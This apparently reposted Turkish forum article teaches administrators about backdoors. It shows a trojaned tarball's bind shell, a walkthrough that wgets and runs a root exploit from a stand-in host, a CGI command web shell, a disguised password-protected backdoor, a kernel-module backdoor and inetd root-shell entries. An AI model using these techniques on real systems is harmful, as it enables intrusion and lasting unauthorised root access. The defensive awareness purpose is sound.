Arkakapılar sistemin güvenlik çemberinde ne derece düzensizlikler oluştururlar? Bu düzensizliğin boyutu nedir? Sistem yneticisi arkakapının varlığını nasıl anlayabilir? Yoksa benim ynettiğim sisteme kimse girip delik açamaz mı diyorsunuz? Bilgi, ulaşmak istediği hedefteki kapıda, küçük aralık bulduğu anda bu aralıktan kendisini hedefe doğru bırakır. "Kapıda neden aralık var?" suallini sormadan içeri süzülür. Bilgilerinizi, bahçesini davetsiz misafirlere karşı dikenli tellerle koruyan bir kişi gibi güvenlik çemberiyle koruyabilirsiniz. Fakat sisteminize saygıdeğer bir misafir gibi gelip, sonra sizin rızanız olmadan sisteminizi tekrar ziyaret etmek isteyebilir . Neticesinde ozenle duzenlediğiniz bahçeniz bir anda istemediğiniz bir boyuta gelebilir. En değerli ürünleriniz yani zenle bakıp büyüttüğünüz bilgileriniz bir anda başka bahçelerde bulunabilir. Hemde ürününüzün hangi ellere geçtiğini bilmeden. Eğer bilgileriniz değerliyse bunların çevresini kuşatan telleri devamlı kontrol etmek sizi rahatlatır. Kontrolleriniz esnasında bu tellerin en küçük bir yerinde pas grdüğünüz anda gerekli bakımı yapmak bahçenizin yeşilliğini koruyacaktır. Sistemimize bir sürü dosya yükleriz. Bazen, yüklediğimiz dosyaların yaratacağı sorunları düşünmeden sisteme kurarız. Ya unutkanlıktan yada üşengeçlikten sisteme indirilen yazılımların güvenilirlik kontrollerini yapmayız. Kimbilir belki gnül rahatlığıyla kurduğunuz dosyaların sisteminizde bir arkakapı oluşturma olasılığını gzardı ediyorsunuzdur. Yazılımın Web sitesinde belirtilen MD5 kontrolu: file. tar. gz 18a8284860c5c9940c57e03aac4a9911 Bizim yaptığımız file. tar. gz'nin kontrolu: $ md5sum file. tar. gz 64dc31bf20ace98a7200d39da7d0d1a2 Sonuçlar farklı. Üstünde düşünülmesi gereken bir durum. Dikkat!!!! Üşenip md5 kontrolunu yapmadan, çektiğimiz dosyayı sisteme kurduğumuzu düşünelim. # tar zxvf file. tar. gz file file/getconn. c file/Makefile file/config. c file/main. c file/common. h file/file. c # make cc -Wall -g `libnet-config --cflags --defines` -c getconn. c getconn. c: In function `getconn': getconn. c:30: warning: implicit declaration of function `exit' cc config. c -o config./config & cc -Wall -g `libnet-config --cflags --defines` -c main. c cc -Wall -g `libnet-config --cflags --defines` -c file. c cc -o file getconn. o main. o file. o -L/usr/local/lib -lpcap `libnet-config --libs` Dikkatli kullanıcı hemen./config & satırını grünce bir anda şüpheye düşer. Bu config. c isimli dosya incelendiğinde sistemde arka kapıya neden olan kod olduğu anlaşılır. # pico config. c... ... #define port 60000 #define shell "/bin/sh" ... ... execl(shell, shell, 0); ... ... Bu açık portu fark eden kişi: $ telnet eregli. sistem 60000 Trying eregli. sistem... Connected to eregli. sistem . Escape character is '^]'. id; uid=0 gid=0 groups=0 <-- arka kapı sınırları yeniden çizer. -- dosya root yetkisiyle kurulduğundan -- sistem yneticisine tozlu rüyalar grdürür. Eğer bu file. tar. gz isimli dosyayı herhangi bir kullanıcı sisteme kurduysa; $ telnet eregli. sistem 60000 Trying eregli. sistem... Connected to eregli. sistem . Escape character is '^]'. id; uid=501 gid=501 groups=501 <-- normal kullanıcı modunda. -- Saldırgan sistemde root -- olmak için elinden geleni -- yapmaya calışacaktır. uname -a; Linux eregli. sistem 2.4.18-6mdk #1 Fri Mar 15 02:59:08 CET 2002 i686 unknown cat /etc/redhat-release; Mandrake Linux release 8.2 for i586 cd /tmp; pwd; /tmp /usr/bin/wget http://exploit.sitesi/dosya/8.2/op_beni. c; --00:58:43-- http://exploit.sitesi/dosya/8.2/op_beni. c => `op_beni. c' Connecting to exploit. sitesi:80... connected. HTTP request sent, awaiting response... 200 OK Length: 6,767 0K... 100% 00:58:43...`op_beni. c' saved ls; dcopGByrhp dcopYfUXJw kde-root ksocket-root mcop-root op_beni. c <-- Sisteme indirilip derlenmek istenen dosya. /bin/gcc -o op_beni op_beni. c; ls; dcopGByrhp dcopYfUXJw kde-root ksocket-root mcop-root op_beni <-- Derlenmiş hali. op_beni. c./op_beni; <-- Exploit çalıştırılıyor. Wait... Wait... muck... muck... muck... muck Bingo :) id; uid=0 gid=0 groups=0 <-- Sınırları zorlama zamanı ;) Sisteminize ait herhangi bir kullanıcının şifresini elde eden saldırgan, sisteme tekrar bağlanmak için sistemde arka kapı bırakma olasılığı fazladır. Bu arka kapının türü tamamıyla saldırganın hayal gücüne kalmıştır. Saldırganın gerçekleştirebileceği arka kapılardan bazıları: - Belli süre zarfında içinde geçerli olacak arka kapı açma - Herhangi bir servis açma - Kernel arka kapıları - Dosyaların içine gizlenilen arka kapılar - Rootkitlerin yardımıyla kurulan arka kapılar Saldırganın amacı elindeki güzellikleri kaybetse de sistemde olabildiğince uzun yaşamak. Ayrıca sunucuda gezinen bir davetsiz misafir. php. cgi tipi kodlarla sistemde bir gedik oluşturabilir. rnegin; Aşağıdaki komut. cgi isimli dosyayı sunucunun /cgi-bin dizinine yükleyen misafir, Web gstericiler üzerinden sistemde kodlarda çalıştırabilir. #komut. cgi #!/bin/sh echo Content-type: text/html echo echo "<pre>" $ $ lynx http://arkakapili.sistem/cgi-bin/komut. cgi?ls%20/etc Bastille DIR_COLORS X11 adjtime aliases aliases. db alternatives anacrontab apcupsd at. deny bashrc conf. linuxconf.. .. -- press space for next page -- Arrow keys: Up and Down to move. Right to follow a link; Left to go back. H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search =history list Davetsiz misafir, sistem yneticisi durumuna geldiğinde tekrar sisteme bağlanmak istediğinde yapacağı eğilimlerden biri olarak sistemde açık kapı bırakmak olduğunu belirtmiştim. Bıraktığı açık kapıdan sisteme sadece kendisi bağlanabilmesi için kapıya kilit yani şifre koyar. şifre girildiğinde kapı ardına kadar açılır ve parmaklarıyla sistemde gezinmeye başlar. Saldırgan, sistem yneticisinin, sistemde calışan uygulamaları grmek istemesi durumunda sahte isimlerle karşılaşması için açık kapı bırakan uygulamalarda kod değişikliği yapabilir. #include <sys/socket. h> #include <netinet/in. h> ... #define SHELL "/bin/sh" #define SARG "-i" #define PASSWD "ACIL_KAPI" #define PORT 6767 #define FAKEPS "httpd" #define SHELLPS "klogd" ... int main $ ssh -l avicenna arkakapili. sistem avicenna@arkakapili's password: Last login: Mon Apr 14 01:52:00 2003 from xxx. yyy. zzz. ttt $ cd /tmp $ mkdir. mail $ cd. mail $ cat > net. c #include <sys/socket. h> #include <netinet/in. h> ... #define SHELL "/bin/sh" #define SARG "-i" #define PASSWD "ACIL_KAPI" #define PORT 6767 #define FAKEPS "httpd" #define SHELLPS "klogd" ... int main Yukarıda kaynağa benzer bir. c kodunu sisteme aktaran kişi root yetkisiyle dosyayı derlediğini düsünelim. # gcc -c -O2 kbdv3. c -I/lib/modules/`uname -r`/build/include # ls -1 kbdv. c kbdv. o <-- Sisteme tekrar baglanıldığında root ateşi sardıracak. # insmod kbdv3. o Warning: loading kbdv3. o will taint the kernel: no license # lsmod Module Size Used by Tainted: P kbdv 908 0 <-- Bekliyor ustadini :) ... Saldirgan artik sistemi gnul rahatlığıyla terk ediyor. Canı sıkıldıgında, bu root neden bunlari anlamadi dusuncesine kapıldığında yada kız arkadaşına kızdığında dagıtmak isteyecegi tek yer Kernel Backdoor olayına girdiği sistem olacaktir. Sisteme bağlandığında normal user olarak girer fakat sihirli kelimeleri sylediğinde artık root olmuştur. Geri dnülmez yola girmiştir. # ssh -l avicenna arkakapili. sistem avicenna@arkakapili's password: Last login: Mon Apr 14 02:28:31 2003 from eregli. sistem $ <-- Normal kullanici durumumda $ touch op_beni <-- Sihirli kelimeler fisildandi $ exit <-- Sistemden ayrildi. -- Kernel Backdoor sisteme tekrar baglanmasini -- beklemektedir. Cünkü üstadına yneticilik -- sertifikasi verecektir :) $ ssh -l avicenna arkakapili. sistem avicenna@arkakapili's password: Last login: Mon Apr 14 05:30:34 2003 from eregli. sistem # <-- Sonuç :) Sistemdeki servislerin her zaman uslu uslu duracak halleri olmayabilir. Sizden habersiz birileri sisteme servisler ekleme ihtimallerine karşın /etc/inetd. conf dosyasını ve /etc/xinetd. d dizini altında bulunan dosyaları kontrol etmek menfaat icabıdır. cat /etc/inetd. conf... echo 4444 stream tcp nowait root /bin/sh sh -i <-- Dikkat!!!! ... cat /etc/xinetd. d/kendim <-- ... protocol = tcp | port = 4444 | socket_type = stream | wait = no | user = root | server = /bin/sh | Dikkat!!!! server_args = -i | ... Arka kapı durumlarına kısaca değinmeye çalıştım. Umarım bazı konuların aydınlanmasında azda olsa ışık vermişimdir. NOT : ALINTIDIR ARAŞTIRMA YAPARKEN BULDUM BULASIYA Bİ TARAFIM ÇIKTI AMA DAHA HALEN İSTEDİĞİM BİLGİLERE ULAŞAMADIM... Living Death